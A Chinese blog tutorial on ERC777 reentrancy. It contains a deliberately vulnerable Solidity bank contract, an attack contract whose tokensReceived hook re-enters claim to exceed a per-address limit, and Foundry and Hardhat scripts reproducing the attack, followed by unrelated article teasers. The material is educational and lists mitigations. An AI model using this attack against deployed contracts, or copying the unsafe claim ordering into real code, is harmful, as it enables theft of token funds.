区块链安全常见的攻击——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
区块链安全常见的攻击分析——ERC777 重入漏洞 ERC777 Reentrancy Vulnerability【5】
- 区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
- 1.1 漏洞合约
- 1.2 漏洞分析
- 1.3 攻击分析
- 1.4 攻击合约
- 1.5 hardhat版本自己重现了一次
区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
Name: ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)
**重点:**通过使用 IERC1820Registry
调用 setInterfaceImplementer
函数,将 ERC777TokensRecipient
接口指向攻击合约地址。攻击合约实现了 tokensReceived
钩子函数,并在钩子中调用 SimpleBankContract.claim(address(this), 1000)
。当攻击者调用 SimpleBankContract
的 claim
函数时,会触发 tokensReceived
钩子,钩子中再次调用 claim
,从而实现重入攻击。利用这一漏洞,攻击者能够绕过 SimpleBankContract
对单账户提取上限的限制,反复提取超额代币。
1.1 漏洞合约
contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank is Test {ERC777 private token;uint maxMintsPerAddress = 1000;mapping(address => uint256) public _mints;bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");function setUp() external {// mock ERC1820Registry contract in foundryvm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600080fd5b5060043610..."));}constructor(address nftAddress) {token = ERC777(nftAddress);// Register IERC1820RegistryIERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function claim(address account, uint256 amount) public returns (bool) {// Check if total claims for the address would exceed max mints per address.require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");token.transfer(account, amount);_mints[account] += amount; // Do not follow check-effect-interactionreturn true;}function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {}receive() external payable {}
}
1.2 漏洞分析
ERC777 的 transfer 函数会触发 tokensReceived 钩子,该钩子允许执行任意代码。
攻击合约可以在 tokensReceived 钩子中通过重入再次调用 claim,从而绕过 _mints 的检查逻辑,重复领取更多代币。
1.3 攻击分析
-
恶意合约首先调用 claim 函数申请代币。
-
token.transfer 被调用,此时触发_send→_callTokensReceived→ tokensReceived 钩子。
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {_send(_msgSender(), recipient, amount, "", "", false);return true;}function _send(address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) internal virtual {require(from != address(0), "ERC777: transfer from the zero address");require(to != address(0), "ERC777: transfer to the zero address");address operator = _msgSender();_callTokensToSend(operator, from, to, amount, userData, operatorData);_move(operator, from, to, amount, userData, operatorData);_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);}function _callTokensReceived(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) private {address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);if (implementer != address(0)) {IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);} else if (requireReceptionAck) {require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");}}
- 恶意合约在 tokensReceived 钩子中再次调用 claim,因为 _mints 尚未更新,绕过了检查。
// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}
- 因此获取超过限制的代币。
1.4 攻击合约
// ----------------- 攻击 -------------------
contract ContractTest is Test {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例address alice = vm.addr(1); // Alice 的地址address eve = vm.addr(2); // Eve 的地址bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =keccak256("ERC777TokensSender"); // ERC1820 发送者接口bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient"); // ERC1820 接收者接口// 初始化测试环境function setUp() external {// 使用 Foundry 模拟 ERC1820Registry 合约vm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600..."));MyERC777TokenContract = new MyERC777(0); // 部署自定义 ERC777 合约}// 测试 ERC777 重入攻击function testERC777Reentrancy() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));// 初始化环境SimpleBankContract = new SimpleBank(address(MyERC777TokenContract));MyERC777TokenContract.mint(address(SimpleBankContract), 10000, "", ""); // 铸造 10,000 个代币到银行合约console.log("Maximum claims is 1,000 for each EOA, How can you bypass this limitation?");console.log("testERC777Reentrancy attack address(this)",address(this) // 攻击前余额);console.log("Before exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击前余额);// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 900);// 攻击后余额,预期应为 1,900console.log("After exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击后余额);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}// 接收以太币的回退函数receive() external payable {}
}
1.5 hardhat版本自己重现了一次
漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";/*
名称:ERC777 重入漏洞描述:
ERC777 代币允许在代币转账过程中通过钩子函数(`tokensReceived`)执行任意回调。
如果没有使用重入保护(Reentrancy Guard),恶意合约可以利用这些回调进行重入攻击,导致状态不一致或逻辑错误。场景:
假设每个外部账户(EOA)最多只能领取 1,000 个代币。
攻击者可以通过重入调用绕过这一限制,领取超过上限的代币。缓解措施:
1. 遵循检查-效果-交互模式(Check-Effect-Interaction)。
2. 使用 OpenZeppelin 的 `ReentrancyGuard` 防止重入攻击。参考:
https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5
*/contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {console.log("MyERC777-mint()-111");_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank {ERC777 private token; // ERC777 代币实例uint maxMintsPerAddress = 1000; // 每个地址的最大领取限制mapping(address => uint256) public _mints; // 记录用户已领取的代币数量bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address nftAddress) {token = ERC777(nftAddress);// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}// 用户领取代币function claim(address account, uint256 amount) public returns (bool) {// 检查领取是否超出限制require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");console.log("111-ERC777-reentrancy-claim()");token.transfer(account, amount); // 转移代币_mints[account] += amount; // 更新领取记录(未遵循检查-效果-交互模式)return true;}// tokensReceived 回调函数function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {console.log("777-SimpleBank-tokensReceived()-111");}// 接收以太币回退函数receive() external payable {}
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import "./ERC777-Bank.sol";contract ERC777Attack {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address MyERC777TokenAddress, address SimpleBankAddress) {MyERC777TokenContract = MyERC777(address(MyERC777TokenAddress));SimpleBankContract = SimpleBank(payable(address(SimpleBankAddress)));// // 在 ERC1820Registry 中注册接收者接口// IERC1820Registry registry = IERC1820Registry(// address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)// );// registry.setInterfaceImplementer(// address(this),// _TOKENS_RECIPIENT_INTERFACE_HASH,// address(this)// );}function resetRegistry() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}function attack() public {resetRegistry();// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 100);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBankContract.claim(address(this), 1000);}}receive() external payable {}
}
js 脚本
const { ethers } = require("hardhat");
const MyERC777 = require("../artifacts/contracts/ERC777-Bank.sol/MyERC777.json");
const SimpleBank = require("../artifacts/contracts/ERC777-Bank.sol/SimpleBank.json");
const ERC777Attack = require("../artifacts/contracts/ERC777-reentrancy-Attack.sol/ERC777Attack.json");
const hre = require("hardhat");describe("ERC777", function () {var ERC1820Registry,MyERC777Contract,MyERC777Address,SimpleBankContract,SimpleBankAddress,ERC777AttackContract,ERC777AttackAddress;async function erc777ReentrancyTest() {const [owner, implementer] = await ethers.getSigners();const erc1820Address = "0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24";ERC1820Registry = await ethers.getContractAt("IERC1820Registry",erc1820Address);console.log("ERC1820Registry address:", await ERC1820Registry.getAddress());const MyERC777Factory = new ethers.ContractFactory(MyERC777.abi,MyERC777.bytecode,owner);MyERC777Contract = await MyERC777Factory.deploy(0);MyERC777Address = await MyERC777Contract.getAddress();console.log("MyERC777 address:", MyERC777Address);const SimpleBankFactory = new ethers.ContractFactory(SimpleBank.abi,SimpleBank.bytecode,owner);SimpleBankContract = await SimpleBankFactory.deploy(MyERC777Address);SimpleBankAddress = await SimpleBankContract.getAddress();console.log("SimpleBank address:", SimpleBankAddress);const ERC777AttackFactory = new ethers.ContractFactory(ERC777Attack.abi,ERC777Attack.bytecode,owner);ERC777AttackContract = await ERC777AttackFactory.deploy(MyERC777Address,SimpleBankAddress);ERC777AttackAddress = await ERC777AttackContract.getAddress();console.log("ERC777AttackContract address", ERC777AttackAddress);}async function erc777ReentrancyAttack() {let bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);// 攻击前提,Bank合约有代币await MyERC777Contract.mint(SimpleBankAddress,10000,"0x", // 用有效的空字节"0x" // 用有效的空字节);bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);let attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击前,attack contract Balance:", attackBalance);// ------- 攻击---------------发起领取请求,触发 tokensReceived 回调函数await ERC777AttackContract.attack();attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击后,attack contract Balance:", attackBalance);registryGet = await ERC777AttackContract.getNum();// console.log("registryGet address:", registryGet);}it("erc777ReentrancyTest deploy error", async function () {await erc777ReentrancyTest();});it("erc777ReentrancyTest attack error", async function () {await erc777ReentrancyAttack();});
});
结果输出:
相关文章:
区块链安全常见的攻击——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
区块链安全常见的攻击分析——ERC777 重入漏洞 ERC777 Reentrancy Vulnerability【5】 区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】1.1 漏洞合约1.2 漏洞分析1.3 攻击分析1.4 攻击合约1.5 hardhat…...
MusicFree - 免费播放全网歌曲!无广告开源网络音乐聚合播放器 (安卓电脑版)
大家平常听歌可能都会在 QQ 音乐、网易云音乐、酷狗、喜马拉雅等不同平台来回切换,体验其实很烦。曾经推荐过不少“聚合”音乐应用,比如 洛雪音乐助手、Listen1 等等。 最近又有一个新选择了!MusicFree 是一款免费开源清爽无广告的音乐播放器…...
html+css+js网页设计 美食 美拾9个页面
htmlcssjs网页设计 美食 美拾9个页面 网页作品代码简单,可使用任意HTML辑软件(如:Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作)。 获取源码 1࿰…...
RustDesk内置ID服务器,Key教程
RustDesk内置ID服务器,Key教程 首先需要准备一个域名,并将其指定到你的 rustdesk 服务器 ip 地址上,这里编译采用的是Github Actions ,说白了是就workflows,可以创建一些自动化的工作流程,例如代码的检查&a…...
Python学生管理系统(MySQL)
上篇文章介绍的Python学生管理系统GUI有不少同学觉得不错来找博主要源码,也有同学提到老师要增加数据库管理数据的功能,本篇文章就来介绍下python操作数据库,同时也对上次分享的学生管理系统进行了改进了,增加了数据库,…...
Spring Boot 学习笔记
学习代码第一步:如何写 Hello world ? 1、新建项目 新建一个 Maven Java 工程,在 pom.xml 文件中添加 Spring Boot Maven 依赖: <parent><groupId>org.springframework.boot</groupId><artifactId>spri…...
UML统一建模语言测试题汇总
2-UML概念模型测试 (单选题, 1.0 分) UML中的关系不包括()。 A. 抽象 B. 实现 C. 依赖 D. 关联 我的答案:A正确答案: A 知识点: UML的构成 1.0分 (单选题, 1.0 分) 下列事物不属于UML结构事物的是()。 A. 组件 B.…...
【微服务】SpringBoot 自定义消息转换器使用详解
目录 一、前言 二、SpringBoot 内容协商介绍 2.1 什么是内容协商 2.2 内容协商机制深入理解 2.2.1 内容协商产生的场景 2.3 内容协商实现的常用方式 2.3.1 前置准备 2.3.2 通过HTTP请求头 2.3.2.1 操作示例 2.3.3 通过请求参数 三、SpringBoot 消息转换器介绍 3.1 H…...
数据结构(哈希表(中)纯概念版)
前言 哈希表(Hash Table)是计算机科学中的一个基础而重要的数据结构,它广泛评估各种算法和系统中,尤其是在需要快速查找、插入和删除操作的场景中。由于其O( 1)的平均时间复杂度,存储表在性能要求较高的应用中表现得非…...
Node.js 工具:在 Windows 11 中配置 Node.js 的详细步骤
一、概述 记录时间 [2024-12-25] 本文讲述如何在 Windows 11 中进行 Node.js 工具的安装和配置。 以下是详细的步骤和说明。 二、安装 Node.js 1. 官网下载 通过官网,下载 Node.js,上面有好几种下载方式,文中下载的是 zip 压缩包。 如图&…...
工作流并行网关退回思路
问题描述 在设计工作流时遇到并行的流程,会出现并行流程的退回,这里记录下想到的解决思路,后续问题会记录在这里。 流程图 这里是一个简单的流程图: 并行退回思路 若是正常流程退回,流程是: 获取回退…...
C#数学相关开发性能优化方法
本文Github地址:CSharp-MathOptimization.md 华为公司的C语言编程规范在开头就强调了: 一般情况下,代码的可阅读性高于性能,只有确定性能是瓶颈时,才应该主动优化。 本文讲述的方法没有经过大项目和大公司的检验&…...
vulnhub jangow靶机
1.扫描靶机IP arp-scan -l如果扫不到靶机的话根据以下配置 启动时点击第二个 按回车 继续选择第二个 按e进入编辑 删除"recovery nomodeset" 在末尾添加"quiet splash rw init/bin/bash" Ctrlx 启动进入如下界面 passwd修改root密码 重启电脑登录root修…...
配置搜索无人机
升级ubuntu内核 https://www.bilibili.com/video/BV11X4y1h7qN/?spm_id_from333.337.search-card.all.click 进入四个内核文件并安装 sudo dpkg -i *.deb安装ROS,PX4,XTDrone,QGC https://blog.csdn.net/qq_45493236/article/details/13…...
2-6-1-1 QNX编程入门之进程和线程(四)
阅读前言 本文以QNX系统官方的文档英文原版资料“Getting Started with QNX Neutrino: A Guide for Realtime Programmers”为参考,翻译和逐句校对后,对在QNX操作系统下进行应用程序开发及进行资源管理器编写开发等方面,进行了深度整理&…...
Vue开发环境搭建上篇:安装NVM和NPM(cpnm、pnpm)
文章目录 引言I 安装NVM1.1 Windows系统安装NVM,实现Node.js多版本管理1.2 配置下载镜像1.3 NVM常用操作命令II NPM永久使用淘宝源安装 cnpm安装pnpm【推荐】see also: vscode常用插件引言 淘宝镜像:http://npm.taobao.org 和 http://registry.npm.taobao.org 已在 2022.06.3…...
2.微服务灰度发布落地实践(agent实现)
文章目录 前言java agent的介绍基础实现agent端 http服务实现agent端api接口 前言 据上一篇,设计方案的分析,综合考虑,最终决定,客户端采用agent方案实现,具本原因不再赘述, 感觉兴趣的小伙伴可以回头了解一下.该篇主…...
网络安全专业术语
网络安全专有名词详解 1.肉鸡 被黑客操控的终端设备(电脑、服务器、移动设备等等),黑客可以随心所欲的操作这些终端设备而不会被发觉。 2.木马 表面上伪装成正常的程序,但是当这些程序运行时候就会获取整个系统的控制权限&#…...
SpringMVC核心、两种视图解析方法、过滤器拦截器 “ / “ 的意义
SpringMVC的执行流程 1. Spring MVC 的视图解析机制 Spring MVC 的核心职责之一是将数据绑定到视图并呈现给用户。它通过 视图解析器(View Resolver) 来将逻辑视图名称解析为具体的视图文件(如 HTML、JSP)。 核心流程 Controlle…...
ubuntu快速入门
1.进入某个文件夹 cd workspace/2.tab自动补全 3.列出当前文件夹所有文件 ls列出所有文件包括隐藏文件 ls -a 4.创建文件夹 mkdir linuxLearn 5.创建文件 gedit command.sh在commmand.sh键入 echo hello echo hi? echo how are you? PS:touch hello.txt(也可以创建新…...
HarmonyOS NEXT应用开发实战:一分钟写一个网络接口,JsonFormat插件推荐
在开发鸿蒙操作系统应用时,网络接口的实现往往是一个繁琐且重复的过程。为了提高开发效率,坚果派(nutpi.net)特别推出了一个非常实用的插件——JsonFormat。这款插件的主要功能是将JSON格式的数据直接转换为arkts的结构定义,让我们在编写接口…...
光谱相机与普通相机的区别
一、成像目的 普通相机:主要目的是记录物体的外观形态,生成人眼可见的、直观的二维图像,重点在于还原物体的形状、颜色和纹理等视觉特征,以供人们进行观赏、记录场景或人物等用途。例如,拍摄旅游风景照片、人物肖像等…...
贝叶斯神经网络(Bayesian Neural Network)
最近在研究贝叶斯神经网络,一些概念一直搞不清楚,这里整理一下相关内容,方便以后查阅。 贝叶斯神经网络(Bayesian Neural Network) 贝叶斯神经网络(Bayesian Neural Network)1. BNN 的核心思想2. BNN 的优化目标3. BNN 的结构与特点4. BNN 的训练过程5. BNN 的优缺点6. …...
使用FFmpeg进行拉流和推流操作
FFmpeg是一款强大的多媒体处理工具,可以用于视频的录制、转换、推流和拉流等操作。下面将详细介绍如何使用FFmpeg进行拉流和推流操作。 1. FFmpeg推流操作 推流是将本地的音视频流推送到流媒体服务器上,例如主播将本地电脑上的画面推流到直播平台的流媒…...
flutter插件开发-ios
flutter插件开发是一个重要的技能,拓展flutter与原生的通信,将一些公用的东西封装,给不同的项目使用。 阅读前置: flutter基本通道调用 objective-c基础语法 ios项目基础知识 目录 1、创建一个插件项目2、项目结构3、编写原生代码…...
【代码随想录|完全背包问题】
518.零钱兑换|| 题目链接:518. 零钱兑换 II - 力扣(LeetCode) 这里求的是组合数,就是不强调元素排列的顺序,211和121是同一个数那种,要先遍历物品,这样的话我算出来的每个值才是按顺序121&…...
xss csrf怎么预防?
一、XSS(跨站脚本攻击)预防 XSS 是指攻击者向目标网站注入恶意脚本,从而在用户浏览器中执行。 1. 输入过滤 清理用户输入: 拦截或清理HTML特殊字符(如 <, >, , ", &)。使用安全库&#x…...
黑神话悟空游戏鼠标光标使用教程与下载
效果图: 鼠标光标特点 这套鼠标光标的设计灵感来源于《黑神话:悟空》游戏中的角色和元素,具有以下特点: • 主题鲜明:光标设计紧扣游戏主题,采用了游戏中的元素,让玩家在使用电脑时也能感受到…...
<数据集>芝麻作物和杂草识别数据集<目标检测>
数据集下载链接 <数据集>芝麻作物和杂草识别数据集<目标检测>https://download.csdn.net/download/qq_53332949/90181548数据集格式:VOCYOLO格式 图片数量:1300张 标注数量(xml文件个数):130…...
实测数据处理(CS算法处理:可斜视)——SAR成像算法系列(十一)
系列文章目录 《SAR学习笔记-SAR成像算法系列(一)》 《线性调频变标算法(CSA)-SAR成像算法系列(四)》 文章目录 前言 一、算法流程 1.1、回波信号生成 1.2、CS处理 1.3、距离脉压 1.4、方位脉压 1.5…...
【强化学习入门笔记】 2.4 时序差分算法
本系列为学习赵世钰老师的《强化学习的数学原理》所作的学习笔记. 本节我们将介绍强化学习中的蒙特卡洛方法. 2.4.1 Robbins-Monro算法 Robbins-Monro算法是一种随机近似方法,通过迭代的方式求解非线性方程。 假设我们要求解: g ( w ) 0 g(w)0 g(w)0, 但是我们…...
Scrapy数据解析+保存数据
Scrapy数据解析保存数据 目录 1.数据解析 2.基于item存放数据并提交给管道 3.用txt文件来保存数据 今天我们需要爬取B站数据并保存到txt文件里面。 我们先打开B站, 然后点击热门, 进去之后再点击排行榜: 我们打开F12后, 可以看到, 我们想要的请求, 轻而易举的就可以拿到(…...
Redis--缓存穿透、击穿、雪崩以及预热问题(面试高频问题!)
缓存穿透、击穿、雪崩以及预热问题 如何解决缓存穿透?方案一:缓存空对象方案二:布隆过滤器什么是布隆过滤器?优缺点 方案三:接口限流 如何解决缓存击穿问题?方案一:分布式锁方案一改进成双重判定…...
【Python高级353】python实现多线程版本的TCP服务器
前面学了了套接字编程、tcp服务端客户端开发、面向对象版的服务端客户端、带有端口复用的服务端。 这里使用多线程开发多任务版的服务端 多任务版本的TCP服务器 来一个客户,就为其创建一个线程 import socket import threadingclass WebServer:# 3、定义一个__ini…...
【Pandas】pandas Series to_period
Pandas2.2 Series Conversion 方法描述Series.astype用于将Series对象的数据类型转换为指定类型的方法Series.convert_dtypes用于将 Series 对象的数据类型智能地转换为最佳可能的数据类型的方法Series.infer_objects用于尝试推断 Series 中对象(object࿰…...
深度学习领域车辆识别与跟踪
深度学习中车辆识别是一个广泛应用的领域,它涵盖了从车辆检测到车型识别的多个方面。以下是对深度学习中车辆识别与车辆相关内容的详细探讨: 一、车辆检测 车辆检测是车辆识别中的基础任务,其目标是在图像或视频中准确地定位出车辆的位置。…...
数学建模 绘图 图表 可视化(2)
文章目录 前言柱形图条形图克利夫兰点图系列坡度图南丁格尔玫瑰图径向柱图极坐标图词云图总结参考资料 前言 承接上期 数学建模 绘图 图表 可视化(1)的总体描述,这期我们继续跟随《Python 数据可视化之美 专业图表绘制指南》步伐来学习其中l…...
vue源码分析(十)—— 生命周期
文章目录 前言一、关键方法 callHook二、详细的钩子函数说明1.beforeCreate和create2.beforeMount & mounted注意点组件(非根组件)的渲染节点(1)invokeInsertHook函数(2)insert方法(3&#…...
[创业之路-222]:波士顿矩阵与GE矩阵在业务组合选中作用、优缺点比较
目录 一、波士顿矩阵 1、基本原理 2、各象限产品的定义及战略对策 3、应用 4、优点与局限性 二、技术成熟度模型与产品生命周期模型的配对 1、技术成熟度模型 2、产品生命周期模型 3、技术成熟度模型与产品生命周期模型的配对 三、产品生命周期与产品类型的对应关系 …...
# 【超全面了解鸿蒙生命周期】-生命周期补充
【超全面了解鸿蒙生命周期】-生命周期补充 鸿蒙所有的生命周期函数梳理 文章目录 【超全面了解鸿蒙生命周期】-生命周期补充前言一、AbilityStage的生命周期二、ExtensionAbility卡片生命周期三、Web组件常用生命周期 前言 本文是继之前写的生命周期函数梳理的进一步补充&…...
sentinel-请求限流、线程隔离、本地回调、熔断
请求限流:控制QPS来达到限流的目的 线程隔离:控制线程数量来达到限流的目录 本地回调:当线程被限流、隔离、熔断之后、就不会发起远程调用、而是使用本地已经准备好的回调去提醒用户 熔断:熔断也叫断路器,当失败、或者…...
unplugin-vue-router 的基本使用
1. 前言 在Vue3开发过程中,每次创建新的页面都需要注册路由,需要在src/router.ts中新增页面的路径,并将URL路径映射到组件中,如下所示: import { createMemoryHistory, createRouter } from vue-routerimport HomePage…...
[Leetcode] 最大子数组和 [击败99%的解法]
解法1: 暴力解法 遍历每个元素,从它当前位置一直加到最后,然后用一个最大值来记录全局最大值。 代码如下: class Solution {public int maxSubArray(int[] nums) {long sum, max nums[len-1];for (int i0; i<nums.length;…...
SSRF服务端请求Gopher伪协议白盒测试
前言 是什么SSRF? 这个简单点说就是 服务端的请求伪造 就是这个如果是个 请求图片的网站 他的目的是请求外部其他网站的 图片 但是 SSRF指的是让他请求本地的图片 再展示出来 请求的是他的服务器上的图片 SSRF(Server-Side Request Forgery:服务器端请求伪造) …...
[2029].第6-06节:MyISAM引擎中的索引与 InnoDB引擎中的索引对比
所有博客大纲 后端学习大纲 MySQL学习大纲 1.MyISAM索引: 1.1.B树索引适用存储引擎: 1.B树索引适用存储引擎如下表所示: 2.即使多个存储引擎都支持同一种类型的B树索引,但它们的实现原理也是不同的 Innodb和MyISAM默认的索引是B…...
WOFOST作物模型(3):(本地化校准)优化PCSE模型中的参数
目录 一、准备自己的LAI观测数据二、优化参数三、损失函数四、NLOPT优化五、优化结果可视化一、准备自己的LAI观测数据 在进行田间实测后,得到自己的LAI观测数据 在程序这个地方输入自己的LAI采样日期和观测值 二、优化参数 这里主要选择了TDWI(Total Dry Weight at ger…...
如何修改pip全局缓存位置和全局安装包存放路径
使用场景: 在默认情况下,pip 会将安装的包存放在 Python 环境的 site-packages 目录下,会使用到系统盘的内存。 当遇到系统盘的内存很小的时候,需要修改pip的全局缓存位置和全局安装包存放路径,可以极大的节省系统盘内存 详细步骤ÿ…...
ZooKeeper注册中心实现
具体步骤 安装ZooKeeper(启动端口占用,2181:客户端,8080:管理端)引入客户端依赖实现注册中心接口SPI补充ZooKeeper注册中心 引入依赖 <!-- zookeeper --> <dependency><groupId>org.a…...
PyTorch快速入门教程【小土堆】之DataLoader的使用
视频地址DataLoader的使用_哔哩哔哩_bilibili dataset数据集,相当于一副扑克,dataloader数据加载器相当于我们的手,选择摸几张牌,怎么摸牌 import torchvision# 准备的测试数据集 from torch.utils.data import DataLoader from …...
khadas edge2安装ubuntu22.04与ubuntu20.04 docker镜像
khadas edge2安装ubuntu22.04与ubuntu20.04 docker镜像 一、资源准备1.1 镜像文件1.2 刷机工具1.3 ubuntu20.04 docker镜像(具备demon无人机所需各种驱动) 二、开始刷机(安装ubuntu22.04系统)2.1 进入刷机状态2.2 刷机 三、docker…...